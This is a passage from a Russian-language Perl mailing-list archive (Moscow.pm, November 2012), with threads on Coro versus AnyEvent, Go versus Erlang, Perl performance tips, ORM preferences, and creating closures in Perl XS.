20:12:59 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> Message-ID: <1060671353600779@web8f.yandex.ru> 22.11.2012, 18:36, "ksvs" : > Н-да... Вижу что Coro не пользуется популярностью. > Пошел изучать AnyEvent... > > P.S. > Жду третьего посыла в сторону Erlang. :-) Зачем же так сразу и Erlang!? Попробуй Go From denis.fedoseev на gmail.com Thu Nov 22 08:14:30 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Thu, 22 Nov 2012 20:14:30 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1060671353600779@web8f.yandex.ru> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1060671353600779@web8f.yandex.ru> Message-ID: <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> А в чем профит этого самого Go по сравнению с Erlang? С уважением, Денис Федосеев On 22 Nov 2012, at 8:12 PM, Orlovsky Alexander wrote: > 22.11.2012, 18:36, "ksvs" : >> Н-да... Вижу что Coro не пользуется популярностью. >> Пошел изучать AnyEvent... >> >> P.S. >> Жду третьего посыла в сторону Erlang. :-) > > Зачем же так сразу и Erlang!? Попробуй Go > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From akovbovich на gmail.com Thu Nov 22 08:35:49 2012 From: akovbovich на gmail.com (=?UTF-8?B?0JDQvdC00YDQtdC5INCfLiDQmtC+0LLQsdC+0LLQuNGH?=) Date: Thu, 22 Nov 2012 20:35:49 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> Message-ID: Сейчас ESL впервые предоставляет бесплатный доступ к своему обучающему курсу студентам всех стран мира. https://www.erlang-solutions.com/services/e-learning 22 ноября 2012 г., 18:36 пользователь ksvs написал: > Жду третьего посыла в сторону Erlang. :-) From nordicdyno на yandex.ru Thu Nov 22 08:37:00 2012 From: nordicdyno на yandex.ru (Orlovsky Alexander) Date: Thu, 22 Nov 2012 20:37:00 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1060671353600779@web8f.yandex.ru> <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> Message-ID: <547071353602220@web19g.yandex.ru> Go проще и приятнее выглядит и играет в той же лиге что и Erlang. 22.11.2012, 20:14, "alpha6" : > А в чем профит этого самого Go по сравнению с Erlang? > > С уважением, > Денис Федосеев > > On 22 Nov 2012, at 8:12 PM, Orlovsky Alexander wrote: > > >  22.11.2012, 18:36, "ksvs" : > > >  Н-да... Вижу что Coro не пользуется популярностью. > > >  Пошел изучать AnyEvent... > > > > > >  P.S. > > >  Жду третьего посыла в сторону Erlang. :-) > >  Зачем же так сразу и Erlang!? Попробуй Go > >  -- > >  Moscow.pm mailing list > >  moscow-pm на pm.org | http://moscow.pm.org > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From akovbovich на gmail.com Thu Nov 22 08:38:06 2012 From: akovbovich на gmail.com (=?UTF-8?B?0JDQvdC00YDQtdC5INCfLiDQmtC+0LLQsdC+0LLQuNGH?=) Date: Thu, 22 Nov 2012 20:38:06 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <547071353602220@web19g.yandex.ru> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1060671353600779@web8f.yandex.ru> <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> <547071353602220@web19g.yandex.ru> Message-ID: Лол)))) 22 ноября 2012 г., 20:37 пользователь Orlovsky Alexander написал: > Go проще и приятнее выглядит и играет в той же лиге что и Erlang. From nordicdyno на yandex.ru Thu Nov 22 08:46:42 2012 From: nordicdyno на yandex.ru (Orlovsky Alexander) Date: Thu, 22 Nov 2012 20:46:42 +0400 Subject: [Moscow.pm] Coro In-Reply-To: References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1060671353600779@web8f.yandex.ru> <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> <547071353602220@web19g.yandex.ru> Message-ID: <571301353602802@web13g.yandex.ru> Вам лол, а для тех кто выбирает с чего начать, простота языка, простота развертывания окружения и не эзотерический синтаксис (императивность вместо функциональщины) ? важные факторы. 22.11.2012, 20:38, "Андрей П. Ковбович" : > Лол)))) > > 22 ноября 2012 г., 20:37 пользователь Orlovsky Alexander > написал: > >>  Go проще и приятнее выглядит и играет в той же лиге что и Erlang. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From akovbovich на gmail.com Thu Nov 22 08:52:14 2012 From: akovbovich на gmail.com (=?UTF-8?B?0JDQvdC00YDQtdC5INCfLiDQmtC+0LLQsdC+0LLQuNGH?=) Date: Thu, 22 Nov 2012 20:52:14 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <571301353602802@web13g.yandex.ru> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1060671353600779@web8f.yandex.ru> <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> <547071353602220@web19g.yandex.ru> <571301353602802@web13g.yandex.ru> Message-ID: Я на самом деле не хочу развивать очередной холивар на тему языков, но блин, синтаксис энларга изучается за 5 минут. 22 ноября 2012 г., 20:46 пользователь Orlovsky Alexander написал: > Вам лол, а для тех кто выбирает с чего начать, простота языка, простота развертывания окружения и не эзотерический синтаксис (императивность вместо функциональщины) ? важные факторы. From nordicdyno на yandex.ru Thu Nov 22 09:08:15 2012 From: nordicdyno на yandex.ru (Orlovsky Alexander) Date: Thu, 22 Nov 2012 21:08:15 +0400 Subject: [Moscow.pm] Coro In-Reply-To: References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1060671353600779@web8f.yandex.ru> <1C4E83BE-5FF9-43C5-B2F6-12DFFEB4430F@gmail.com> <547071353602220@web19g.yandex.ru> <571301353602802@web13g.yandex.ru> Message-ID: <570311353604095@web29g.yandex.ru> 1. Хотел бы я посмотреть на разработчика, которые за 5 минут разберется в Erlang и начнет на нем писать хотя бы простенькие программки (особенно если он никогда не писал ранее на функциональных языках) 2. http://golang.org/ref/spec vs http://www.erlang.org/doc/pdf/otp-system-documentation.pdf или http://www.erlang.org/download/erl_spec47.ps.gz ? (PS ? файл? O RLY!?) P.S. лол 22.11.2012, 20:52, "Андрей П. Ковбович" : > Я на самом деле не хочу развивать очередной холивар на тему языков, но > блин, синтаксис энларга изучается за 5 минут. > > 22 ноября 2012 г., 20:46 пользователь Orlovsky Alexander > написал: > >>  Вам лол, а для тех кто выбирает с чего начать, простота языка, простота развертывания окружения и не эзотерический синтаксис (императивность вместо функциональщины) ? важные факторы. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From denis.zhdanov на gmail.com Thu Nov 22 09:16:57 2012 From: denis.zhdanov на gmail.com (Denis Zhdanov) Date: Thu, 22 Nov 2012 18:16:57 +0100 Subject: [Moscow.pm] Coro In-Reply-To: References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> Message-ID: 22 ноября 2012 г., 17:35 пользователь Андрей П. Ковбович < akovbovich на gmail.com> написал: > Сейчас ESL впервые предоставляет бесплатный доступ к своему обучающему > курсу студентам всех стран мира. > > https://www.erlang-solutions.com/services/e-learning А для остальных - This course requires a payment for entry. *Cost: GBP 180* O RLY? Надо ESL идти на Coursera, и на халяву там курс провести, как Odersky сделал со Scala https://class.coursera.org/progfun-2012-001/class/index - ничего, корона не упала... ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From i.petro.77.00 на gmail.com Thu Nov 22 10:02:18 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Thu, 22 Nov 2012 22:02:18 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> Message-ID: <20121122180218.GB21298@vdsl.uvw.ru> > Н-да... Вижу что Coro не пользуется популярностью. > Пошел изучать AnyEvent... Эмм... с AnyEvent переходят на Coro, но не наоборот. у нас вот есть вебпортал. на нем есть вебморда - Mojolicious (синхронный) и серия демонов на Coro. так вот фича в том что демоны пользуют те же модельки которые использует Mojo. ибо Coro. ни одной дополнительной строки нет в этих модельках. а в случае с AE надо было бы ваять два представления для каждой сущности. да, AE где-то на бакенде в Coro приложениях можно юзать. например мы запустили на базе Twiggy, Coro::Twiggy, а на его базе Mojolicious :) From worldmind на mail.ru Fri Nov 23 09:50:49 2012 From: worldmind на mail.ru (Alexey Shrub) Date: Fri, 23 Nov 2012 20:50:49 +0300 Subject: [Moscow.pm] Event and fork In-Reply-To: <50911D1B.8070300@gmail.com> References: <1351597434.43348.YahooMailNeo@web171503.mail.ir2.yahoo.com> <50911250.5020405@gmail.com> <1351685356.308811538@f369.mail.ru> <50911D1B.8070300@gmail.com> Message-ID: <50AFB779.5080506@mail.ru> 31.10.2012 15:44, Mons Anderson пишет: > Да, давно уже ) > у меня есть черновик HTTP-сервера, который получился быстрее и twiggy и > starman и node.js > есть замена Handle, которая на 200% быстрее. > и это пока без XS. > есть XS'ные наброски по этой-же теме. > > руки дойдут - соберу модули и выложу. Mons ... Твои глаза закрываются ... Ты ощущаешь потребность выложить свои наработки на CPAN ... Тебе не даёт покоя мысль что какой-то браузерный скриптовый язык посрамил великий Perl ... Ты понимаешь что если оно работает очень быстро, то можно отложить XS на потом ... Недоделанность черновика создаёт ощущение проделанной зря работы ... Твои руки доходят ... -- Alexey Shrub From pavel на kuptsov.info Sun Nov 25 01:01:52 2012 From: pavel на kuptsov.info (=?KOI8-R?B?8MHXxcwg69XQw8/X?=) Date: Sun, 25 Nov 2012 13:01:52 +0400 Subject: [Moscow.pm] =?koi8-r?b?5MHKxNbF09Qg09DJ08vBINLB09PZzMvJIE1vc2Nv?= =?koi8-r?b?dy1wbTsg1M/NIDYxLCDX2dDV08sgMzE=?= In-Reply-To: References: Message-ID: +100500 23.11.2012 23:00 пользователь написал: > > Сообщения, предназначенные для списка рассылки Moscow-pm, необходимо > отправлять по адресу > moscow-pm на pm.org > > Для изменения параметров подписки вы можеже использовать веб-страницу > http://mail.pm.org/mailman/listinfo/moscow-pm > > Для получения информации о том, как пользовать почтовым интерфейсом, > отправьте письмо, в теле или теме которого будет слово 'help', по > адресу: > moscow-pm-request на pm.org > > Адрес человека, ответственного за этот список рассылки: > moscow-pm-owner на pm.org > > При ответе, пожалуйста, измение тему письма так, чтобы она была более > содержательной чем "Re: Содержание дайджеста списка рассылки > Moscow-pm..." > > > В этом номере: > > 1. Re: Event and fork (Alexey Shrub) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Fri, 23 Nov 2012 20:50:49 +0300 > From: Alexey Shrub > To: "Moscow.pm group" > Subject: Re: [Moscow.pm] Event and fork > Message-ID: <50AFB779.5080506 на mail.ru> > Content-Type: text/plain; charset=KOI8-R; format=flowed > > 31.10.2012 15:44, Mons Anderson пишет: > > Да, давно уже ) > > у меня есть черновик HTTP-сервера, который получился быстрее и twiggy и > > starman и node.js > > есть замена Handle, которая на 200% быстрее. > > и это пока без XS. > > есть XS'ные наброски по этой-же теме. > > > > руки дойдут - соберу модули и выложу. > > Mons ... > Твои глаза закрываются ... > Ты ощущаешь потребность выложить свои наработки на CPAN ... > Тебе не даёт покоя мысль что какой-то браузерный скриптовый язык > посрамил великий Perl ... > Ты понимаешь что если оно работает очень быстро, то можно отложить XS на > потом ... > Недоделанность черновика создаёт ощущение проделанной зря работы ... > Твои руки доходят ... > > -- > Alexey Shrub > > > ------------------------------ > > Subject: Нижний колонтитул дайджеста > > _______________________________________________ > Moscow-pm mailing list > Moscow-pm на pm.org > http://mail.pm.org/mailman/listinfo/moscow-pm > > > ------------------------------ > > Конец Дайджест списка рассылки Moscow-pm; том 61, выпуск 31 > *********************************************************** ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ksvs1996 на ymail.com Mon Nov 26 05:05:12 2012 From: ksvs1996 на ymail.com (ksvs) Date: Mon, 26 Nov 2012 13:05:12 +0000 (GMT) Subject: [Moscow.pm] Coro In-Reply-To: <20121122180218.GB21298@vdsl.uvw.ru> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <20121122180218.GB21298@vdsl.uvw.ru> Message-ID: <1353935112.52873.YahooMailNeo@web171505.mail.ir2.yahoo.com> Что-то не всегда взлетает... Вот есть код, который крутиться под управлением EV (для межпроцессного взаимодействия). LWP завернут в функцию и возвращает ответ в функцию обратного вызова. Что-бы перейти на AnyEvent::HTTP было достаточно заменить эту функцию на другую. Пробовал использовать Coro::LWP, не не получилось... Наверно есть какие-то еще нюансы... И у вас ни разу не было проблем с Coro? ----- Original Message ----- From: Ivan Petrov To: moscow-pm на pm.org Cc: Sent: Thursday, 22 November 2012, 20:02 Subject: Re: [Moscow.pm] Coro > Н-да... Вижу что Coro не пользуется популярностью. > Пошел изучать AnyEvent... Эмм... с AnyEvent переходят на Coro, но не наоборот. у нас вот есть вебпортал. на нем есть вебморда - Mojolicious (синхронный) и серия демонов на Coro. так вот фича в том что демоны пользуют те же модельки которые использует Mojo. ибо Coro. ни одной дополнительной строки нет в этих модельках. а в случае с AE надо было бы ваять два представления для каждой сущности. да, AE где-то на бакенде в Coro приложениях можно юзать. например мы запустили на базе Twiggy, Coro::Twiggy, а на его базе Mojolicious :) -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From nikzubkov на gmail.com Mon Nov 26 05:19:09 2012 From: nikzubkov на gmail.com (Nikita Zubkov) Date: Mon, 26 Nov 2012 14:19:09 +0100 Subject: [Moscow.pm] Event and fork In-Reply-To: <50911D1B.8070300@gmail.com> References: <1351597434.43348.YahooMailNeo@web171503.mail.ir2.yahoo.com> <50911250.5020405@gmail.com> <1351685356.308811538@f369.mail.ru> <50911D1B.8070300@gmail.com> Message-ID: Монс, расскажи хоть, что там за магия, делающая сервер быстрее всего и вся? Может кто-то другой идею до ума доведет? 31 октября 2012 г., 13:44 пользователь Mons Anderson написал: > On 10/31/2012 04:09 PM, Алексей Шруб wrote: > > Когда-то было: > > > > Mons Anderson mons на rambler-co.ru Ср Ноя 23 03:52:08 PST 2011: > >> Проблемы судя по профайлеру в AE::Handle. > >> Вообще по хорошему к базовым вещам AE (таким как Handle, Socket, ...) > нужно писать XS версии. > >> PS: спасибо за наводку: подумаю на тему отказаться от AE::Handle в > своей реализации. > > что-нибудь придумал? > > > > Да, давно уже ) > > у меня есть черновик HTTP-сервера, который получился быстрее и twiggy и > starman и node.js > есть замена Handle, которая на 200% быстрее. > и это пока без XS. > есть XS'ные наброски по этой-же теме. > > руки дойдут - соберу модули и выложу. > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- С уважением, Никита Зубков ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From i.petro.77.00 на gmail.com Mon Nov 26 06:14:00 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Mon, 26 Nov 2012 18:14:00 +0400 Subject: [Moscow.pm] Coro In-Reply-To: <1353935112.52873.YahooMailNeo@web171505.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1353396826.97438.YahooMailNeo@web171503.mail.ir2.yahoo.com> <67DBD241-7D4D-4EE3-9FA8-F24B63E39C44@gmail.com> <1353399945.95679.YahooMailNeo@web171504.mail.ir2.yahoo.com> <1353594969.17104.YahooMailNeo@web171504.mail.ir2.yahoo.com> <20121122180218.GB21298@vdsl.uvw.ru> <1353935112.52873.YahooMailNeo@web171505.mail.ir2.yahoo.com> Message-ID: <20121126141400.GA1657@vdsl.uvw.ru> > Что-то не всегда взлетает... > Вот есть код, который крутиться под управлением EV (для межпроцессного взаимодействия). > LWP завернут в функцию и возвращает ответ в функцию обратного вызова. > Что-бы перейти на AnyEvent::HTTP было достаточно заменить эту функцию на другую. > Пробовал использовать Coro::LWP, не не получилось... > Наверно есть какие-то еще нюансы... > И у вас ни разу не было проблем с Coro? я не пробовал приложения написанные явным образом для EV использовать совместно с Coro. только приложения на AE (которые могут в итоге использовать EV, но EV напрямую нигде мы в коде не юзаем). From mons на cpan.org Mon Nov 26 07:00:52 2012 From: mons на cpan.org (Mons Anderson) Date: Mon, 26 Nov 2012 19:00:52 +0400 Subject: [Moscow.pm] Perl/XS Create closure Message-ID: Хочу создать анонимную сабу (callback) внутри XS. т.е. то, что на перле записывается как package My::Test; sub test { my $var = shift; return sub { return $var; } } package main; my $cb = My::Test::test("arg"); $cb->(); # "arg"; $cb->(); # "arg"; как реализовать это на XS? У меня получилось что-то такое, но оно жутко бажное и падучее (под дебаггером, например) XS(cb_test) { dVAR; dXSARGS; dORIGMARK; SAVECOMPPAD(); PAD_SET_CUR_NOSAVE(CvPADLIST( (CV *) SvRV( PAD_SVl(1) ) ),1); SV *sv = PAD_SVl(1); ST(0) = sv; XSRETURN(1); SP = ORIGMARK; PUSHs(&PL_sv_yes); } void test(SV *var) PPCODE: CV *myxs = newXS(0,cb_test,__FILE__); CvPADLIST(myxs) = pad_new(padnew_SAVE|padnew_SAVESUB); PAD_SETSV( pad_add_name_pvs("var", 0,0,0), var ); SV *cb = newRV_noinc( (SV *) myxs ); ST(0) = cb; XSRETURN(1); Ткните меня пожалуйста в документацию и примеры того, где это делается. -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From mons на cpan.org Mon Nov 26 07:12:21 2012 From: mons на cpan.org (Mons Anderson) Date: Mon, 26 Nov 2012 19:12:21 +0400 Subject: [Moscow.pm] Event and fork In-Reply-To: References: <1351597434.43348.YahooMailNeo@web171503.mail.ir2.yahoo.com> <50911250.5020405@gmail.com> <1351685356.308811538@f369.mail.ru> <50911D1B.8070300@gmail.com> Message-ID: Нет никакой магии. Просто нужно знать и понимать, что, например, быстрее substr($a,0,10,"") или $a = substr($a,10); substr($a,0,1000,"") или $a = substr($a,1000); sysread( $fh, $buf, $size, length($buf) ) или sysread( $fh, my $newbuf, $size ); $buf .= $newbuf; и все это собрать вместе. - Никаких лишних модулей. - Никаких лишних объектов. - Минимум переменных. - Минимум вызовов. - Минимум копирований памяти и перевыделений памяти. - Наиболее быстрый доступ к много раз используемым переменным - Выбор наиболее вероятных сценариев (напр. syswrite() можно практически всегда, без проверки на AE::io 1). 2012/11/26 Nikita Zubkov > Монс, расскажи хоть, что там за магия, делающая сервер быстрее всего и > вся? Может кто-то другой идею до ума доведет? > > 31 октября 2012 г., 13:44 пользователь Mons Anderson написал: > >> On 10/31/2012 04:09 PM, Алексей Шруб wrote: >> > Когда-то было: >> > >> > Mons Anderson mons на rambler-co.ru Ср Ноя 23 03:52:08 PST 2011: >> >> Проблемы судя по профайлеру в AE::Handle. >> >> Вообще по хорошему к базовым вещам AE (таким как Handle, Socket, ...) >> нужно писать XS версии. >> >> PS: спасибо за наводку: подумаю на тему отказаться от AE::Handle в >> своей реализации. >> > что-нибудь придумал? >> > >> >> Да, давно уже ) >> >> у меня есть черновик HTTP-сервера, который получился быстрее и twiggy и >> starman и node.js >> есть замена Handle, которая на 200% быстрее. >> и это пока без XS. >> есть XS'ные наброски по этой-же теме. >> >> руки дойдут - соберу модули и выложу. >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > С уважением, > Никита Зубков > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ruz на bestpractical.com Mon Nov 26 09:01:40 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Mon, 26 Nov 2012 21:01:40 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: 2012/11/26 Mons Anderson : > Хочу создать анонимную сабу (callback) внутри XS. > > т.е. то, что на перле записывается как > > package My::Test; > > sub test { > my $var = shift; > return sub { > return $var; > } > } > > package main; > > my $cb = My::Test::test("arg"); > $cb->(); # "arg"; > $cb->(); # "arg"; > > как реализовать это на XS? > У меня получилось что-то такое, но оно жутко бажное и падучее (под > дебаггером, например) > > XS(cb_test) { > dVAR; > dXSARGS; > dORIGMARK; > SAVECOMPPAD(); > PAD_SET_CUR_NOSAVE(CvPADLIST( (CV *) SvRV( PAD_SVl(1) ) ),1); > SV *sv = PAD_SVl(1); > ST(0) = sv; > XSRETURN(1); > SP = ORIGMARK; > PUSHs(&PL_sv_yes); > } > > void test(SV *var) > PPCODE: > CV *myxs = newXS(0,cb_test,__FILE__); > CvPADLIST(myxs) = pad_new(padnew_SAVE|padnew_SAVESUB); > PAD_SETSV( pad_add_name_pvs("var", 0,0,0), var ); > SV *cb = newRV_noinc( (SV *) myxs ); > ST(0) = cb; > XSRETURN(1); > > Ткните меня пожалуйста в документацию и примеры того, где это делается. > Я не удивлен, что что-то падает. Прикрепить padlist к XS sub'е - это умно, но скорее всего не жизнеспособно. Просто потому что perl сам этого не делает. Может и заработает, если долго курить сорцы. При определенных условиях можно сделать как в [1]. Смотри xs_make_accessor и соответственно xs_accessor. Там генерируется именованый альяс к XS функции и на этот альяс можно повесить i32 значение. Вот только отследить удаление функции не получится. Придется делать пул по значению, если этого достаточно для задачи. [1] http://cpansearch.perl.org/src/RUZ/Class-Accessor-Fast-XS-0.04/XS.xs Ты чего оптимизируешь? Может можно по другому? > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Best regards, Ruslan. From ali на ali.org.ua Mon Nov 26 09:58:40 2012 From: ali на ali.org.ua (Oleg Alistratov) Date: Mon, 26 Nov 2012 19:58:40 +0200 Subject: [Moscow.pm] =?koi8-r?b?88/CydLBwCDT1MHUydPUycvVINDPIE9STQ==?= Message-ID: <216881353952720@web4f.yandex.ru> Привет, коллеги, оченно интересует меня, которую ORM вы считаете самой, понимаешь, прогрессивной ) Если у вас есть регистрация в ярушке, проголосуйте там, пожалуйста: http://clubs.ya.ru/4611686018427388089/1698 Доступный на activestate кусочек статистики показывает, что DBIx::Class и Class::DBI идут практически рядом (что меня удивило). Может, еще есть что модное и интересное? -- Олег Алистратов From mons на cpan.org Mon Nov 26 16:06:27 2012 From: mons на cpan.org (Mons Anderson) Date: Tue, 27 Nov 2012 04:06:27 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: 2012/11/26 Ruslan Zakirov > 2012/11/26 Mons Anderson : > > Я не удивлен, что что-то падает. Прикрепить padlist к XS sub'е - это > умно, но скорее всего не жизнеспособно. Просто потому что perl сам > этого не делает. Может и заработает, если долго курить сорцы. > Ну начнем с того, что прикрепил я весьма криво. > При определенных условиях можно сделать как в [1]. Смотри > xs_make_accessor и соответственно xs_accessor. Там генерируется > именованый альяс к XS функции и на этот альяс можно повесить i32 > значение. Вот только отследить удаление функции не получится. Придется > делать пул по значению, если этого достаточно для задачи. > > [1] http://cpansearch.perl.org/src/RUZ/Class-Accessor-Fast-XS-0.04/XS.xs > > Ты чего оптимизируешь? Может можно по другому? > > Да не то, чтобы оптимизирую. Хочу написать AnyEvent::***::XS Т.е. XS'ную реализацию чего-нибудь с использованием AnyEvent. А там нужно передавать коллбэки с замыканиями. Вообще мне, по большому счету, нужно, например следующее: 1. есть сишная функция on_event(...) 2. Вызвать AE::io( fileno, flag, newXSub(... on_event ...) ) 3. связать с вызовом on_event какую-либо структуру/SV'шку, чтобы было понятно, что за коллбэк был вызван. т.е., грубо говоря, я хочу получить API, аналогичное EVAPI, только реализованое через AnyEvent. Я предполагал создать PADLIST, запихнуть туда SV'шку, которая будет классическим указателем на структуру. потом при вызове сабы считать из падлиста SV'шку и получить указатель на структуру. И в общем это работает, но если вызывается в режиме DB, то там как-то съезжают PADLIST'ы и мой хардкод крешится. Я в общем думаю пока копать на этот предмет разные модули (коих весьма немного, к сожалению) Спасибо за наводку на CAF-XS, там действительно интересная техника. -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ruz на bestpractical.com Mon Nov 26 17:04:39 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Tue, 27 Nov 2012 05:04:39 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: 2012/11/27 Mons Anderson : > > 2012/11/26 Ruslan Zakirov >> >> 2012/11/26 Mons Anderson : >> >> >> Я не удивлен, что что-то падает. Прикрепить padlist к XS sub'е - это >> умно, но скорее всего не жизнеспособно. Просто потому что perl сам >> этого не делает. Может и заработает, если долго курить сорцы. > > > Ну начнем с того, что прикрепил я весьма криво. > >> >> При определенных условиях можно сделать как в [1]. Смотри >> xs_make_accessor и соответственно xs_accessor. Там генерируется >> именованый альяс к XS функции и на этот альяс можно повесить i32 >> значение. Вот только отследить удаление функции не получится. Придется >> делать пул по значению, если этого достаточно для задачи. >> >> [1] http://cpansearch.perl.org/src/RUZ/Class-Accessor-Fast-XS-0.04/XS.xs >> >> Ты чего оптимизируешь? Может можно по другому? >> >> > > Да не то, чтобы оптимизирую. Хочу написать AnyEvent::***::XS > Т.е. XS'ную реализацию чего-нибудь с использованием AnyEvent. > А там нужно передавать коллбэки с замыканиями. > > Вообще мне, по большому счету, нужно, например следующее: > 1. есть сишная функция on_event(...) > 2. Вызвать AE::io( fileno, flag, newXSub(... on_event ...) ) > 3. связать с вызовом on_event какую-либо структуру/SV'шку, чтобы было > понятно, что за коллбэк был вызван. Я правильно понял, что ты хочешь сделать одну точку входа on_event и просто передавать контекст дабы оно там само разбиралось? А следующее не подходит почему? AE::io( $fileno, $flag, sub { on_event($fileno, $flag) } ); Накладные расходы вызова сабы? > т.е., грубо говоря, я хочу получить API, аналогичное EVAPI, только > реализованое через AnyEvent. > > Я предполагал создать PADLIST, запихнуть туда SV'шку, которая будет > классическим указателем на структуру. > потом при вызове сабы считать из падлиста SV'шку и получить указатель на > 